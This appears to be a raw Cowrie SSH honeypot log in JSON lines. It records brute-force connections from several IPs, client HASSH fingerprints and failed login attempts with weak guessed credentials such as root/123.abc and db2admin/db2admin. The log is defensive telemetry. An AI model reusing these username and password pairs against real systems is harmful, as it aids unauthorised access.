{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:44:48.654279Z","src_ip":"159.203.92.129","session":"1e3e4b88a44e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:44:48.660558Z","src_ip":"159.203.92.129","session":"1e3e4b88a44e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"root.123456","message":"login attempt [administrator/root.123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:44:48.672868Z","src_ip":"159.203.92.129","session":"1e3e4b88a44e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:44:49.680546Z","src_ip":"159.203.92.129","session":"1e3e4b88a44e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.40.30.168","src_port":50278,"dst_ip":"159.203.135.109","dst_port":22,"session":"9664e1f2e403","protocol":"ssh","message":"New connection: 185.40.30.168:50278 (159.203.135.109:22) [session: 9664e1f2e403]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:45:14.060840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:45:14.066256Z","src_ip":"185.40.30.168","session":"9664e1f2e403","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:45:14.198005Z","src_ip":"185.40.30.168","session":"9664e1f2e403","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123.abc","message":"login attempt [root/123.abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:45:14.754264Z","src_ip":"185.40.30.168","session":"9664e1f2e403","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:45:15.888601Z","src_ip":"185.40.30.168","session":"9664e1f2e403","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":38724,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d869fa1591c","protocol":"ssh","message":"New connection: 150.95.157.171:38724 (10.17.0.5:22) [session: 9d869fa1591c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:45:20.277845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:45:20.282638Z","src_ip":"150.95.157.171","session":"9d869fa1591c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:45:20.440381Z","src_ip":"150.95.157.171","session":"9d869fa1591c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testftp","password":"q1w2e3r4t5","message":"login attempt [testftp/q1w2e3r4t5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:45:21.117332Z","src_ip":"150.95.157.171","session":"9d869fa1591c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:45:22.284193Z","src_ip":"150.95.157.171","session":"9d869fa1591c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.166.19.90","src_port":20070,"dst_ip":"159.203.135.109","dst_port":22,"session":"aad7cc78aabd","protocol":"ssh","message":"New connection: 125.166.19.90:20070 (159.203.135.109:22) [session: aad7cc78aabd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:45:26.428710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:45:26.433589Z","src_ip":"125.166.19.90","session":"aad7cc78aabd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:45:26.707660Z","src_ip":"125.166.19.90","session":"aad7cc78aabd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"passs","message":"login attempt [admin/passs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:45:27.832329Z","src_ip":"125.166.19.90","session":"aad7cc78aabd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:45:29.108316Z","src_ip":"125.166.19.90","session":"aad7cc78aabd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36562,"dst_ip":"159.203.135.109","dst_port":22,"session":"466f65ae8e00","protocol":"ssh","message":"New connection: 159.203.92.129:36562 (159.203.135.109:22) [session: 466f65ae8e00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:45:34.193338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:45:34.197409Z","src_ip":"159.203.92.129","session":"466f65ae8e00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:45:34.202324Z","src_ip":"159.203.92.129","session":"466f65ae8e00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"root01","message":"login attempt [administrator/root01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:45:34.214077Z","src_ip":"159.203.92.129","session":"466f65ae8e00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:45:35.220125Z","src_ip":"159.203.92.129","session":"466f65ae8e00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.40.30.168","src_port":38710,"dst_ip":"159.203.135.109","dst_port":22,"session":"603a74aa1c31","protocol":"ssh","message":"New connection: 185.40.30.168:38710 (159.203.135.109:22) [session: 603a74aa1c31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:46:09.564248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:46:09.569710Z","src_ip":"185.40.30.168","session":"603a74aa1c31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:46:10.084138Z","src_ip":"185.40.30.168","session":"603a74aa1c31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":55774,"dst_ip":"10.17.0.5","dst_port":22,"session":"d76993d7dead","protocol":"ssh","message":"New connection: 150.95.157.171:55774 (10.17.0.5:22) [session: d76993d7dead]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:46:11.884444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:46:11.893174Z","src_ip":"150.95.157.171","session":"d76993d7dead","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:46:12.045645Z","src_ip":"150.95.157.171","session":"d76993d7dead","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"db2admin","password":"db2admin","message":"login attempt [db2admin/db2admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:46:12.670941Z","src_ip":"150.95.157.171","session":"d76993d7dead","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:46:13.833590Z","src_ip":"150.95.157.171","session":"d76993d7dead","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":32862,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec9414fe1c09","protocol":"ssh","message":"New connection: 159.203.92.129:32862 (159.203.135.109:22) [session: ec9414fe1c09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:46:19.230992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:46:19.235995Z","src_ip":"159.203.92.129","session":"ec9414fe1c09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:46:19.241041Z","src_ip":"159.203.92.129","session":"ec9414fe1c09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"root1","message":"login attempt [administrator/root1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:46:19.253799Z","src_ip":"159.203.92.129","session":"ec9414fe1c09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:46:20.259841Z","src_ip":"159.203.92.129","session":"ec9414fe1c09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.7","message":"Connection lost after 12.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:46:22.238519Z","src_ip":"185.40.30.168","session":"603a74aa1c31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47636,"dst_ip":"159.203.135.109","dst_port":22,"session":"67b830f742ee","protocol":"ssh","message":"New connection: 159.203.92.129:47636 (159.203.135.109:22) [session: 67b830f742ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:47:04.624624Z"}
